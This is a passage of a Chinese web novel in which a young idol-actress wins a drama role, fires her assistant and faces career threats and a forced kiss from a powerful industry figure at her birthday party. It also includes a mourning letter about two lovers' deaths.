看着李秀恩和善的笑，祝星亦深吸一口气，缓缓道：“各位老师好，我是Shinyfive的祝星亦。今天我要试镜的角色是，杨易颜。” ———————— 注：ilmeth曾在作者菌专栏作品《种春风》《宝贝又说我们不熟》皆出现过。 ilmeth创始人林小姐—— 曾在大学时期资助过年少时的迟清【《种春风》女主】 曾帮助简蕴时打赢“江城贪污案”舆论战【简蕴时：《宝贝又说我们不熟》女主】 《种春风》校园、成长 《宝贝又说我们不熟》校园、青梅 第53章 她说我长大了 “首先，我先阐述一下我个人对[杨易颜］这个角色的理解。因为赵泽安的家庭和个人问题，杨易颜打心底看不起赵泽安。” “后来剧情发展上，杨易颜开始和女主温小暖[雌竞］争夺赵泽安。这个转变，我觉得很奇怪。回归故事本身……” 座下的人认认真真听着祝星亦对人物的解读，祝星亦没拿解读稿子，一个人在上面分析得头头是道。 李秀恩觉得很有趣，很少有新人会做这些功课。如果她猜得没错，应该是苏寄欢教祝星亦的。 苏寄欢的工作习惯便是通读原著—剧情分析—人设分析—人物思考。真是有什么老师就带出什么学生。李秀恩忽然对祝星亦演[杨易颜］这个角色有了一点期待。 “所以我的理解是，作者的剧情设置上出现问题，才安排杨去做这个坏角色……” 还没说完，李秀恩身旁一位戴眼镜的女人鼓起了掌。祝星亦不知道是自己说错话了还是怎么了，有些紧张地看向那女人。 李秀恩跟她介绍：“这位是我们的原著作者痕痕老师，也是我们这部剧的编剧。” “你好，祝小姐。”痕痕颔首。 祝星亦已裂开，她当着原著作者的面批评人家作品有问题，还想不想拿到角色了啊？她整个人差点站不稳，一张嘴抖着，勉强笑着跟痕痕打招呼：“你好，痕痕老师。” 痕痕桌上放着[杨易颜］这个角色的试镜剧本，她低头看了看剧本上的台词，有些感叹道：“因为需要适配频道风格，以及读者反馈男主戏份少，我为了迎合读者，后期剧情上，杨易颜这个角色后期确实ooc了。她从很丰富的女配角色变成单薄的反派形象，我挺对不起她的。” 痕痕拿起试镜剧本，然后起身走到祝星亦面前亲手递给她：“你看看我改编的剧本，我让她保持了[恶女］形象，让她这个角色更立体了，你看看符不符合你的预期。” 祝星亦完全没想到会是这么个结果，她还以为…… “好。”祝星亦翻看试镜的剧本，确实形象更丰满了。看着看着，一本厚厚的剧本出现在祝星亦面前。 痕痕拿着改编后的剧本递给祝星亦，祝星亦不明所以地接过剧本，痕痕则转过身跟李秀恩说：“李导，这个角色不如就给她演吧，我觉得她很OK的。” 在李秀恩的团队里，编剧是实打实的“幕后大佬”，跟那些编剧被当“纯牛马”使的团队相比，简直一个天上一个地下。只要项目推进顺风顺水、没出什么意外状况，编剧挑演员、定角色基本就是一锤定音，旁人鲜少能插手。 可惜了，这次选角上……算了……李秀恩挑眉，她没说话，只把询问的目光移到祝星亦身上。 祝星亦瞪大了眼睛，满脸都是难以置信。她怎么也没想到痕痕老师不仅没有因为自己刚才那番直白的批评而生气，反而还如此认可自己，这实在是太出乎她的意料了。 “可是……可是还是要看一下演技的吧，又不是说什么就是什么了，演技不过关，不还是对作品不负责吗？苏老师跟我说过，创作者一定要对自己创作的作品负责，虽然……”祝星亦结结巴巴地说道。 李秀恩听了她这话，不禁哈哈笑了起来，她觉得这个祝星亦还真是有意思得很，“好，那你开始演吧。” 祝星亦深吸一口气，拿起剧本读了一会儿便开始表演起来。 她将之前和苏寄欢讨论这个角色时所学到的东西都发挥了出来，情绪层层递进，丰富而又细腻地展现着这个角色的内心世界。 坐在台下的痕痕露出欣慰神色。 李秀恩在一旁静静地看着，等祝星亦表演结束后，她不禁拍手叫好，“不错不错，星亦啊，你这表演的感觉很像寄欢呢。” 祝星亦听了，忙说：“是，我跟她学习了很多，毕竟我是她学生嘛，她教得也很细致。” 李秀恩不禁感叹：“她真的很适合当老师呢，哪一天桃李满天下，我也能搜罗到有实力的演员。可惜啊，我这部剧里……” 李秀恩边说边摇摇头，话里似乎藏着些别的意思。 桃李满天下……祝星亦想着，泛起一丝酸意，如果苏寄欢真的当老师了，那自己就不是她唯一的学生了。 怎么才能打消苏寄欢当老师的想法呢？苏寄欢马上博士毕业，如果继续精进一下，真的能去华影当老师。 真要是到了那个时候，她做得再好，苏寄欢也是会教其他学生。苏寄欢教别人的时候，也会手把手教学、亲自帮忙梳理剧情、时时刻刻关注对方的情绪、还走那么近吗？ 那次私宴，很多人都在问苏寄欢以后是不是真要去华影当老师了。苏寄欢说她没想法，只收祝星亦这一个学生。可未来的事谁说得准呢？ 话说，苏寄欢会给苏盛的艺人做教学培训吗？她会给那些人讲课，会这么关照别人吗？祝星亦想，肯定会。如果苏寄欢做得不够好，那为什么蒋萱琪她们会这么恨自己呢？ 李秀恩整理了一下剧本，看向祝星亦说：“星亦，下个月就要开拍了，你可能要在剧组过年了，这个能接受吗？” 祝星亦回过神儿来，震惊地瞪大了眼睛，哆哆嗦嗦问：“所以……我拿到了杨易颜这个角色了？” 痕痕笑着点头说：“是啊，你拿到了，恭喜你。” 祝星亦这才回过神来，忙不迭地说道：“可以接受，可以接受。” 走出试镜房间，祝星亦的心依旧没能平静下来。她居然真的拿到了这个角色！ 祝星亦跟苏寄欢和朋友们发喜报，回公寓路上，微信里弹出一个好友申请。 是痕痕老师的。 祝星亦有些紧张，她不知道痕痕会跟她说什么。 同意好友申请后，祝星亦开始跟痕痕聊天。 祝星亦：【痕痕老师，你好】 痕痕：【你真的很棒呀，前面试镜这个角色的人，只会拿着剧本就开始演，你却这么大胆地讲你对人物的解读，说起来，你和杨易颜还有点相似呢】 祝星亦：【这是苏老师要我保持的习惯，我也有点害怕说出这些话的后果，但想着苏老师对我的叮嘱，我就勇敢说出来了】 痕痕：【啊，苏寄欢小姐。我听李导说，你是苏寄欢小姐亲自认证的学生呢，她是个很优秀的演员，我想她肯定也是一个优秀的老师】 痕痕很健谈，也发了份完整的剧本pdf给祝星亦。祝星亦忙着回复痕痕的消息，弹出的苏寄欢的消息她都没顾上回复。 到了公寓，祝星亦才和痕痕结束聊天。 点击返回，朋友们都在恭喜她，她依*次回复大家的祝福。 等翻到苏寄欢的消息，20条消息让祝星亦看傻了眼。 祝星亦忙去回复苏寄欢。 回了两条，苏寄欢的电话打过来。 祝星亦赶忙接下：“喂，苏老师，怎么了？” 苏寄欢淡淡说：“哦，我就是亲自恭喜你一下。不过……” “怎么了？” “你的消息是群发的吗？” 祝星亦心虚了。 她刚刚确实因为太高兴太激动，编辑了一段话后，复制粘贴改改称呼就发出去了。 【天蝎座很记仇】 想到这个，祝星亦脑门流汗，干巴巴笑了笑道：“怎么会呢？我亲自编辑给你的。” “哦，这样啊。”苏寄欢的声音不咸不淡，“刚刚是在忙吗？” 祝星亦关上门，坐到沙发上低头看拿回来的试镜剧本道：“我刚刚在和痕痕老师聊天呢，她跟我讲了改编后的剧情，也给我发了完整的剧本，我今天晚上要看一下。” “痕痕，老师？” “对，就是那个原著作者，她也是这部剧的编剧。” “哦，这样啊。”苏寄欢的声音带了点笑意，“你也称呼她为老师吗？” 双指捏着一页纸，祝星亦挑起右眉。 听这声音，怎么感觉有点怪怪的。 “是啊，尊称嘛。”祝星亦解释，“这个称呼，是不太礼貌吗？” “礼貌，挺礼貌的。” “哈哈哈，苏老师我跟你讲，当时……”祝星亦兴高采烈地跟苏寄欢讲她试镜时发生的趣事，边讲边说自己有多紧张。 “还好还好，还好痕痕老师很大气，她可真是个好人啊。要是我被人指着鼻子说我的作品不好，我可要气疯了。”祝星亦感叹道。 电话那端，苏寄欢等了很久才说：“哦，她也是你的好人啊。” 她的声音有些低，片刻后装作若无其事继续说：“嗯，挺好的，我来打个电话是为了恭喜你。月底就要进组了是吗？你这边如果有什么问题可以跟我说。” “苏老师，这次没什么问题了。”祝星亦放下剧本松了口气，“我跟风荇那边商量过了，前几天把张静怡给换掉了，我明天就会有一个新助理。” 换掉张静怡，是祝星亦一直想做的事。 在《寄明月》拍摄期间，张静怡的失职简直罄竹难书。只因为秦永欣在，张静怡就跟放假似的，每天都不知道跑哪里去了。 即便《寄明月》拍摄结束后张静怡对她的态度好了点，但前世张静怡做的桩桩件件坏事，无法让祝星亦原谅她。 几个月前祝星亦就在跟风荇那边商量换助理，风荇却总是以各种理由推脱，不是说再给张静怡一次机会，就是说公司暂时没有合适的人选。 祝星亦只能默默搜罗张静怡失职的证据。她每次都认真记录下日期、事件经过，甚至还收集了因张静怡失职而导致剧组人员不满的反馈。 同时她也把风荇对自己不管不问的管理态度一并整理了出来。 上个月，她拿着这些厚厚的证据找到了风荇，态度坚决地要求换助理。 祝星亦知道自己即便通告多了，知名度提升了，但面对风荇这个公司，面对王小姐，她还是太过脆弱，无法抵抗她们。 不过拿这些东西出来威胁她们，祝星亦还是做得到的。毕竟她确实在老老实实给她们赚钱，态度也足够好。 理论了好久，风荇终于松口了。 风荇让祝星亦自己找适合自己的助理，她挑挑拣拣好久，找到了性格、能力都不错的人。 张静怡被开除那天，是风荇hr在风荇办公室通知她的。 通知完，祝星亦去办公室和张静怡对峙。 得知是祝星亦强行要把她开掉，她像一头发狂的疯牛，眼睛瞪得极大，眼珠仿佛都要从眼眶中蹦出来。 张静怡指着祝星亦的鼻子便开始破口大骂：“祝星亦，你这个贱人！你敢开除我？！你以为你能红多久？你不就是个从穷乡僻壤出来的土包子吗？要不是运气好，被苏寄欢那个瞎了眼的看上，你还不知道在哪个角落里混饭吃呢！” 她的唾沫星子四处飞溅，有的甚至溅到了祝星亦的脸上，可祝星亦依旧面不改色。 张静怡却越骂越起劲，继续吼道：“你还不是靠着攀龙附凤才走到今天，寄生虫，靠着苏寄欢的关系在这里作威作福。没有她，你什么都不是，就是个一文不值的垃圾！” 她双手叉腰，脸上的肌肉因为愤怒而扭曲，继续骂道：“你以为换了我就能顺风顺水了？别做梦了！你这种只会巴结人的东西，迟早会被人看穿。穷鬼出身的人，永远也上不了台面！你以为你换个助理就能改变你这副德行？做梦吧！” “还有，你别以为我不知道你那些小心思，你在苏寄欢身边晃悠，不就是想从她身上捞更多的好处吗？你这种人，根本就不配在娱乐圈里待着，你就是来污染这个圈子的臭虫！”张静怡的声音越来越大，外面路过的人听到，忍不住竖起耳朵听。 祝星亦却只是静静地站在那里，脸上没有丝毫怒色，嘴角始终挂着一抹淡淡的微笑。 她就那样看着张静怡，眼神中没有一丝畏惧。等张静怡骂得嗓子都有些哑了，她才不慌不忙地从包里拿出合同，轻轻一甩，合同落在了张静怡怀里。 祝星亦微微扬着下巴，语气冰冷而又坚定：“说完了吗？说完了等下收拾收拾东西就赶紧滚吧。” 祝星亦退了两步去开门，转过身，指着张静怡淡淡道：“Yourefired。” 说完，祝星亦冲她挑眉，嘴角漾出一个灿烂的笑。 随后，她挺胸抬头，潇洒转身离开。 门外是工作大厅，来来往往很多风荇的工作人员。 祝星亦穿过他们，身后是张静怡的唾骂声。 一道道目光盯着祝星亦。 祝星亦哼着小曲儿，走得悠悠闲闲。 有人频频看向办公室，张静怡被气得浑身发抖。 “祝星亦，你别得意！你这种靠不正当手段上位的人，迟早有一天会摔得很惨！等着瞧，娱乐圈的水可深着呢，有你哭的时候！” “你这个贱人！你这个穷鬼！你这个上不了台面的下贱女人！你敢开除我，你哪天就会被你巴结的人甩掉、害死！” “你对她们来说只是工具，你还看不清自己，你真当和她们站在一起，你自己就是凤凰了？！你做梦！你做梦！你做梦！！” 直到祝星亦的身影彻底消失在她的视线中，充满恶意的诅咒声还在空气中回荡。 祝星亦不理不睬。 高跟鞋踩过风荇的地毯，踩过明亮的电梯，踩过大厦门口的台阶，踩过麓城的冬天。 冬天之后是春天。 祝星亦抬手，阳光穿过指隙。 摆脱张静怡是第一步，一年，两年内，她要摆脱风荇。 祝星亦别的没有，就是有耐心。 死过一次的人，知道什么更重要。 电话那端，苏寄欢听到[新助理］的事，惊讶道：“你换了新助理？我怎么不知道？” 祝星亦笑着说：“因为助理明天才到嘛。” 苏寄欢顿了很久说：“那你换助理怎么不跟我说呢？我可以帮你找，帮你参谋。你，你怎么都不跟我说一声呢？” “这也太麻烦你了。”祝星亦说，“我自己就能找，真的，这种小事我自己来就行。那个助理我很满意，毕竟是我亲自选的，等你不忙了，我带你见一见。” “啊，这种，选助理是小事吗？原来是小事啊，小事。”苏寄欢的声音忽然有些奇怪，“长大了，你长大了啊。” 她喃喃着，又不停重复：“星星长大了，什么都可以自己来了。去试镜，去选助理，都可以自己来了，长大了……” “我一直都是个大人呀苏老师。”祝星亦欢快地说，“过两天我就20岁了，再说，试镜不就是面试吗？面试还能是多大的事，不成功就去找别的机会呗。” “嗯，好，没什么了，我就恭喜恭喜你，顺便问问。我这边还要忙，你先忙你的吧。”苏寄欢的声音越来越奇怪。 聊了两句挂电话，祝星亦看着手机，想给苏寄欢发句消息。 她感觉苏寄欢的语气有些不太对劲，但又说不上来哪里不对劲。 她咬着嘴唇，眉头微皱，手指在手机屏幕上划来划去，最终还是没有按下发送键。 应该是自己想多了。 祝星亦过生日那天顺便庆祝拿到杨易颜的角色，除了Shinyfive的队友，还有其他朋友。一群人在豪华ktv包间唱歌，祝星亦也一展歌喉。 祝星亦开心得很，上辈子她过生日，凄凉得很。她只和Shinyfive庆祝过一次生日，剩下的生日都是跟晏瑾年过的。 但晏瑾年也只会让她去一个餐厅等着，晏瑾年可能会到，也可能不会到，但礼物是肯定会到的。 有一次她等了晏瑾年足足四个小时，晏瑾年姗姗来迟，还没坐下点菜，又离开了。她想发火都不敢发，只能望着晏瑾年离去的背影，眼里蓄满泪水。 以前总是在等晏瑾年，等晏瑾年都垂爱，等晏瑾年可怜巴巴的资源，等晏瑾年多看她几眼。 算了，别想了。 祝星亦握着话筒，尖叫着唱歌，似乎声音越高，越能把曾经体会过的凄凉一扫而空。 齐漫姝捂着耳朵说祝星亦疯了。 ktv门开了，门口穿着靓丽的女人在吼着什么。 祝星亦拧着眉去和女人对峙，过去一看，不是别人，正是宋姿缈。 “祝星亦？怎么是你？”宋姿缈有些惊讶。 她还以为是哪个疯子在叫唤呢，原来是祝星亦。 祝星亦哦吼一声，“你怎么在这儿？” “我来这里唱歌，你叫唤得太难听了，吵得我们都唱不好歌了。”宋姿缈指了下隔壁，“我们就在旁边，你们艺域没让你们唱歌的地方吗？爱豆唱歌唱不腻？” 宋姿缈瞄了眼祝星亦，打扮得还挺好看，起码比综艺时要好看点。 祝星亦还没开口，齐漫姝揽过祝星亦的脖子说：“她今天过生日呢，怎么，不能唱歌？过生日最重要的是开心，再说，ktv不吵那哪里吵？你还跑过来不让我们那么吵，你也太没规矩了吧。” 里里外外都是唱歌声，在门口处的交谈都听不太清。 宋姿缈正要反驳什么，忽然倒吸一口气，“齐漫姝？” 被叫到名字的齐漫姝往外走走，迎着走廊的灯才辨清来人。 “呦，宋姿缈。”齐漫姝轻笑一声。 祝星亦敲敲门框，探头跟外面的俩人说：“你俩叙旧吧，我先回去唱歌。” “不许回去。”俩人异口同声。 祝星亦没别的法子，只能带上门出来，和她们一同站在走廊上。 齐漫姝和宋姿缈早年因为争同一个角色相识，结果俩人都没抢到那个角色不说，还因为竞争关系敌视对方。 同样都是富家女，俩人的营销套路都差不多。不过齐漫姝比宋姿缈正常多了，起码齐漫姝不是看不起粉丝的人。 她们互相不对付，祝星亦知道她们的恩怨，所以很少在齐漫姝面前提宋姿缈。上《姐敲门》综艺的时候，每每打电话，祝星亦都会避开宋姿缈的话题。 齐漫姝打量了宋姿缈两眼，“今天大星当寿星，你们一起去过综艺，好歹是认识的人，你来都来了，不表示点什么？” “总不能要我现在就去楼下给她买礼物吧？”宋姿缈呛她一句。 “那你给她转钱，不用多少，1314的红包就行。” “她穷疯了吗？还要我的钱？？”宋姿缈来气了，“我凭什么……” 齐漫姝挥手让她闭嘴，“人家大喜日子，过生日呢，你别那么晦气。麓城大小姐还缺这点小钱吗？” 宋姿缈也不是愿意吃亏的人，死活不转，“笑死人了，我的钱是大风刮来的吗？我给她不如给路边的流浪狗。” “也没见过你真的去照顾流浪猫狗了。”齐漫姝白了她一眼，“你快点的吧，给她转钱她还能发朋友圈夸你，她可是拿到了李秀恩导演的女配角色。哎，人家以后很可能当影后哎！你早点巴结她对你也有好处。” “她能当影后？她要是能当影后，我从清心山舔到麓湖！” 齐漫姝忙打开手机开始录像，“呐呐，再说一遍。” “祝星亦要是能当影后，我宋姿缈就从清心山舔到麓湖！”宋姿缈丝毫没有犹豫，对着齐漫姝的镜头发誓，末了扬扬下巴跟祝星亦示意，“zfb码给我，我给你转钱。” 这么大气？ 祝星亦也没拒绝，拿出手机让她扫。 “zfb到账1314元。” “老板大气，恭喜发财。”祝星亦乐得脸笑开了花。 出来一趟，没把人吵闭嘴，还损失了1314元。宋姿缈烦得很，转身就要回去。 齐漫姝拉住她，邀她进去，“来都来了，走，蹭蹭大星的寿星喜气呗。” 宋姿缈不情不愿地跟着进去。 关上门，包间里太热闹，祝星亦放低声音跟着唱了几首歌，ktv门又开了。 祝星亦不高兴了，自己也没尖叫啊，怎么又来人了？ 祝星亦起身去门口，刚走过去，退了半步。 晏瑾年一手把她拉出来，关上了门。 第54章 【信件】苏母亲启 苏阿姨： 听闻寄欢投海自尽的噩耗，我震惊不已，也深感痛心。我没有想过像她这般冷静理智的人会做出这样的事，但逝者已矣，请苏阿姨节哀。 昔日您反对她与小祝的关系，后来被逼无奈同意，那时你说你不看好她们，一说寄欢坚持不了，二说小祝别有用心。 可是她们两个，一个因不愿屈从而丧命，一个为爱殉情，您也看到她们对彼此的真心了吧。 寄欢用情至深，为小祝谋远虑，小祝对她忠诚无比，可惜她们都是苦命人。 寄欢签约晏瑾年的这么多年，我想您也有很多不甘。您之前跟我说，如果当初能突破限制去海外发展，不在国内浪费时间，也许是另一番光景。 但人们总是会美化没有走过的那条路，也不是所有的选择都会如意。 人生这条路，怎么选都是遗憾。 当年因为那些人，耽误了寄欢那么久，后来向晏氏低头，我懂你们有多么不甘心，多么屈辱。 但过去的都过去了。 寄欢和小祝的葬礼我这边已经帮忙一起料理了，她生前的遗愿是想和小祝葬在一起，我联系了祝霜女士，她同意了。 祝霜女士也悲痛欲绝，她身体状况不好，没办法参加小祝和寄欢的葬礼，请谅解。 苏芙买了两个墓地，让她们挨着。您送她们的那对儿玉镯，苏芙分开放了。 寄欢的放在小祝墓中，小祝的放在寄欢墓中。 小祝的镯子完全碎了，紧急找了修补师修补，才好看些。 只是她们的戒指已沉入海底，无法找寻，这是一件憾事。 葬礼在后天举行，还希望您先照顾好自己的身体，如不能参加，我这边会和苏芙她们一起料理。 节哀顺变。 ——姜妤璇 第55章 我看到了光 偏蓝的ktv走廊回荡着鬼哭狼嚎声。 包间的门关上，祝星亦方知歌唱声有多吵。 此起彼伏的歌声、喊叫声在耳畔嗡嗡着，她攥着手后退两步，身前浑身都是压抑气息的女人向她逼近。 她不自然地瞥向别处，却被女人钳住了下巴。 女人幽深的狭眸盯着她，眸底掠过不可触碰的危险。 “生日快乐啊星星。”晏瑾年充满侵略性的脸毫无温度，声音也低得可怕。 祝星亦倒吸一口凉气，努力撑着笑容：“谢谢前辈的祝福。” 下巴被捏得几乎要碎了，她试探地抬手握住晏瑾年的手腕，想要逃脱。 纤细手腕上的半山水玉镯映入眼帘，晏瑾年盯着那镯子蹙眉，黑眸冰冷的气息裹在镯子上，似要把镯子碾碎。 “好镯子。”晏瑾年松开祝星亦的下巴，转而去抓她的手腕，“这镯子和苏寄欢是一对儿吧？” 手腕被抓得疼痛无比，祝星亦咬着牙努力保持微笑，“是啊，苏菱阿姨送我们的。” [苏菱］二字一出，晏瑾年眉心溢出不可忽视的反感，她怪声怪气地哼了一下，紧握着祝星亦的手反复观看。 祝星亦的手不大，但白皙、纤细，跳舞时随意做的动作都十分迷人。 她的手腕曲线很优美，晏瑾年的指腹在她脉搏处按压着，感受强烈的跳动。 这么猛，这么烈，是欣喜，还是……害怕？ 晏瑾年勾唇笑着，忽然抬起祝星亦的手腕，俯身在她手背下留下一吻。 然而这只手流露着强烈的反抗和逃离的动作，晏瑾年垂眼看手的主人，她从主人脸上读出了厌恶。 想到苏寄欢说的那番话，晏瑾年不免烦闷了些，她放下祝星亦的手，声音淡淡：“我开了一间包厢给你庆祝生日，走，跟我去那里。” 晏瑾年抬手指了一个方向。 祝星亦揉着自己被抓疼的手腕笑着摇头，“前辈，我想和我朋友在这里庆祝，就不麻烦你了。” 拒绝？ 晏瑾年扬起头颅俯视眼前的女孩，她以为自己听错了，等慢慢品味那番话，忽然发出一阵意味不明的笑。 她没再继续说什么，抬起高跟鞋转过身子。 但她没有立刻回包厢，而是用只有两个人听到的声音说：“听说你给你的队友争取了一个综艺，年后开录，还有你的好朋友齐漫姝，她下周好像要去试镜一个喜欢的角色。” 不大不小的声音像是恶魔的低语，催着祝星亦往地狱里去。 她机械地转头，对上恶魔的眼睛。 恶魔嘴角蔓延出惑人的笑意，更低更冷的声音缓缓迸发：“星星，她们的路是顺的还是死的，决定权在你手里。” “你知道的，我可以造梦，也可以毁掉梦，你要懂事点。” 冰冷的话语从小腿往上爬，蛛网般包裹着祝星亦的身子。她呼吸急促了些，温热的手瞬间发凉。 她忘了，她竟忘了，这个恶魔权势滔天，这个恶魔可以掌握一切。 远离，似乎是没有用的。 因为她成功招惹了她，再远离也是没有用的。 鬼魅般的身影离去，高跟鞋的哒哒声像死亡倒计时。 哒哒，哒哒。 祝星亦僵着身子看晏瑾年进入一间屋子，等走廊里只剩她一人，她听着包厢里朋友们欢快的歌声，耳鸣令她有些眩晕。 手心的虚汗沿着指腹滑落到指尖，她的目光落在走廊尽头，只觉得自己被逼近黑暗的死角。 走不出来，根本走不出来。 现在该怎么办？她要问谁？ 她应该找一个神问问，求神，问神，问问神她要怎么做。 她的神，她的…… 苏寄欢。 她的苏寄欢，在1000公里以外的宁城拍戏。 早上苏寄欢托人给她送了份礼物，她很喜欢。 苏寄欢跟她说，星星，抱歉，这几天拍戏太忙，等我闲了回去给你补过一个生日。 她回，谢谢你，苏老师。 谢谢你，苏老师。 这个时候，还有人可以想，还有人可以指望，真是太好了。 可她的苏老师在1000公里以外。 偏蓝的ktv走廊回荡着鬼哭狼嚎声。 此起彼伏的歌声、喊叫声在耳畔嗡嗡着。 她眨了眨眼，抬起脚步，朝晏瑾年进入的房间走去。 “前辈。”祝星亦进入包厢后关上门，她沉默着走向慵懒地歪在沙发上喝酒的晏瑾年。 这间包厢隔音极好，也被精心布置成庆生的氛围。 但她只觉得这么好看的背景，活像晏瑾年给她送的花圈，透着一股说不出的诡异和压抑。 见她进来，晏瑾年没说什么，自顾自喝酒看着大屏幕，把她晾在一旁。 祝星亦默声站了一会儿，忽觉音乐声有些熟悉。她转过身子，看到大屏幕上播放的是Shinyfive的MV。 屏幕上的自己站在C位唱跳，热烈张扬，明艳万分。 她在舞台上就会这样明艳，可是内娱没那么多舞台，她也没有明艳的命运。 “你的表演总是那么出色。”晏瑾年放下酒杯，目光在祝星亦身上流连，“但我没有享受过你的专属表演。” 晏瑾年微微眯起双眼，视线在祝星亦脸上飘忽不定，旋即带着一丝玩味的笑意道：“不如你现在给我表演一下？” 她跷起二郎腿，上下打量祝星亦，“把衣服脱了再跳会更好看点。” 祝星亦穿着大衣，大衣里面是修身的裙子，曲线尽显。 “前辈，今天是我生日。”祝星亦咬着牙说，“让寿星表演给你看，有点不礼貌吧？” 晏瑾年慢慢起身，她穿着灰色套装，干练冷峻。 她没说话，抬手换了个音乐，依旧是Shinyfive的歌舞MV。 站在祝星亦身旁欣赏了会儿，晏瑾年翘着唇角问：“你和苏寄欢结为师徒的事，怎么没有提前告诉我？” “即便我不提前告知前辈，前辈也还是知道了，这也没差吧，前辈的消息一直都很灵通。”祝星亦尽量让自己的声音听起来平静。 “那你为什么答应做她的学生？”晏瑾年的声音里有了一丝不易察觉的冷意。 祝星亦蜷着手指说：“不是我答应做她的学生，是我求着她做我的老师。” 晏瑾年脸色一变，倏地转身冷眼看向她，“你求她？为什么？” 祝星亦轻松笑说：“不求她，那求谁？求前辈吗？前辈，你别忘了，你现在是被选择的一方，我想做什么也没有理由向你汇报吧？” 晏瑾年目光冷了下来，她问了一个尖锐的问题，“你喜欢她？” 祝星亦离开令她倍感压力的空间，走到沙发处坐下，挺着背说：“这个应该和前辈无关吧？过多地窥探别人隐私，好像挺不礼貌的。” 听到这番话，晏瑾年兀自笑出声，跟着走到她面前俯视她，“星星，你真的越来越有意思了。” 晏瑾年也不恼，慢悠悠坐在祝星亦身边，继续说：“前几天你好像去试镜李秀恩的剧了，还成功拿下女二号了，是不是？恭喜你啊。” 祝星亦觉得不妙，一脸警惕道：“你想干什么？” 这样冰冷生硬的语气让晏瑾年感到不快，一股怒火升腾起来。 苏寄欢耀武扬威的场景仿佛就在昨天，那个神态和语气，属实是气坏了她。 祝星亦对问题闭口不谈似乎在肯定着什么，晏瑾年握紧拳头，声音又冷了几分：“星星，这是你的选择吗？” “我选择试镜我喜欢的角色，这也不行吗？前辈，你似乎在跟我无理取闹。”祝星亦强忍着反感跟她对话，“谢谢你给我准备这些，如果没有别的事，我就先回去了。” 她起身，欲要离开。 晏瑾年呵呵笑了笑，她也跟着起身，快步挡在祝星亦面前，“如果这是你的选择，那我尊重你。但我想你可能是因为了解我了解得太少了才去选择她，我会给你机会让你重新选择一次，在选择到来之前，我会纵容你。但如果你选错了，我就不会给你机会了。” 机会、选择？这条臭鱼还真是会给自己脸上贴金啊。 祝星亦自嘲般笑了，她觉得面前的人无比恶心，这副高高在上的姿态也好，这股自信也罢，都让她无比恶心。 她抿着唇转身欲走，却被晏瑾年一把拽住手腕，接着被晏瑾年的另一只手迅速卡住肩膀。 猝不及防，她的后背重重撞在墙上，疼得她闷哼一声。还未等她有所反应，晏瑾年的脸已近在咫尺。 她预料到什么了，赶忙用力去推。 然而晏瑾年猛地俯身压下双唇，她的嘴唇带着酒气，蛮横地想要撬开祝星亦的牙关，牙齿甚至磕到了祝星亦的嘴唇，一丝血腥味在口中散开。 那双大手也握住了祝星亦的腰，手上下移动着，似乎想要把碍事的大衣扯下来。 祝星亦瞪大双眼，心中满是羞辱与惊恐，她用力推搡着晏瑾年的肩，指甲几乎要陷入对方的衣服里。 好恶心，好恶心。 她的身体剧烈地扭动着，试图摆脱晏瑾年的禁锢，脑袋左右摇晃，嘴里含糊不清地发出抗议。 晏瑾年讨厌她这样乱扭乱动，皱着眉放开她。 得以喘息后，祝星亦的手高高扬起，“啪”的一声重重扇在晏瑾年的脸上气道：“晏瑾年你太过分了！” 晏瑾年？居然喊自己名字？还打自己？ 这巴掌太狠太重，晏瑾年眼冒金星，她缓了很久，深吸一口气，眼中闪过恼怒与惊愕，但还是强忍着没有发作。 两人急促的呼吸声占据了整个空间。 祝星亦颤抖着身子，她脑袋一片空白。 看着眼前有些恼怒的人，她尽力让自己保持平静，但声音里的颤抖还是暴露了她的慌张，“晏瑾年，选择是双向的，尊重也是双向的，你既然不尊重我，你还想要我怎么回应你？” “你铁了心的要放弃我？”晏瑾年眉心流过一丝不快，“然后去选择她？” 祝星亦反感得很，掀起唇角冷声道：“我说，晏瑾年，我们两个之间的事非要扯上她吗？你能不能不要拉无辜的人下水？” 听着这满满的维护的语气，晏瑾年攥着拳头，声音从齿缝里挤出来，“她无辜？你大言不惭地跟我说她无辜？从始至终这都是三个人的事……” “从始至终都和苏老师无关！”祝星亦提高声音，“你不要拉她下水！” 晏瑾年状似咆哮地喊着：“苏寄欢到底给你下了什么迷药？！你非要这么护着她？！” 祝星亦翻了个白眼，她想这条臭鱼应该是听不懂人话了，“我想我已经说得够明白了，是你做错在先，我到底会做出什么选择，我想应该和你无关。如果你想要让我看到你的诚意的话，那你随意，我不想看。至于你威胁我的事，晏瑾年，你都要威胁我了，你还有什么资格跟我谈条件？失陪。” 她转身拉开门慌乱地冲向洗手间，一进去便拧开水龙头用力搓着自己的嘴唇。 她要把那恶心的触感彻底抹去，她要让那个吻完全消失。 安静的洗手间只有水流的哗哗声，她垂着头，被水打湿的头发粘在脸上，她抬头看自己的脸，红肿的唇和眼，凌乱的发，又是这副鬼样子，好难看。 她快步冲进厕所隔间缓缓跪下，怅然许久，两行清泪流出。放弃一条钓上的大鱼，结果放回去时自己还被拽沟里。 如果知道会有这么一天，她当初…… 算了，她当初怎么会预料到自己会这么快放弃晏瑾年。 “哭什么哭。”祝星亦低着头把自己的眼泪擦掉，“没出息，这点小事也要哭吗？” 可眼泪总擦不完，最终她抱着头放声大哭了起来。她好像惹麻烦了，给朋友惹了麻烦，也给苏寄欢惹了麻烦。 现在她有点想求助，却不知道向谁求助。鬼使神差般，她点开苏寄欢的聊天界面，颤抖着手想发送一条语音。 她不知道说什么，最终她边哭边说：“苏老师你怎么不陪我过生日，你为什么要让我自己一个人过生日。” 刚哭两声她赶忙撤回刚刚发出去的消息。算了，太丢人了，这种事也哭哭啼啼的，太没面子了。 “祝星亦，不许再哭了听到没有。”祝星亦仰起头，试图把眼泪逼回去。 /// “星星，你干什么去了，怎么出去那么久？”沈桑言见祝星亦回来了，忙问。 祝星亦伸了个懒腰说：“去洗手间了。” 她敛过心底的情绪坐下，软绵绵地靠在沙发上。过了一会儿，她的目光在茶几上的蛋糕和食物上一扫而过，最后落在身旁的齐漫姝身上，“老漫，你下周去试镜是吧？” “是啊。”齐漫姝连忙答道，“怎么了？” “没事。我到时候要是有空，我陪你一起呗。”祝星亦挤出一丝笑容，试图让自己看起来正常些。 “哎呀，大星真仗义！”齐漫姝兴奋地一把揽住祝星亦的肩，不忘朝一旁的宋姿缈得意地哼了声，“可不像某些人，转个1314要犹豫那么久。” 宋姿缈一听这话脸瞬间涨得通红，眼睛里仿佛要喷出火来，愤怒地冲齐漫姝怒骂：“齐漫姝你有必要一件事一直在这里讲讲讲吗？我不是已经把钱转给她了吗？你管我犹豫不犹豫，我也没见你给她转钱啊？” 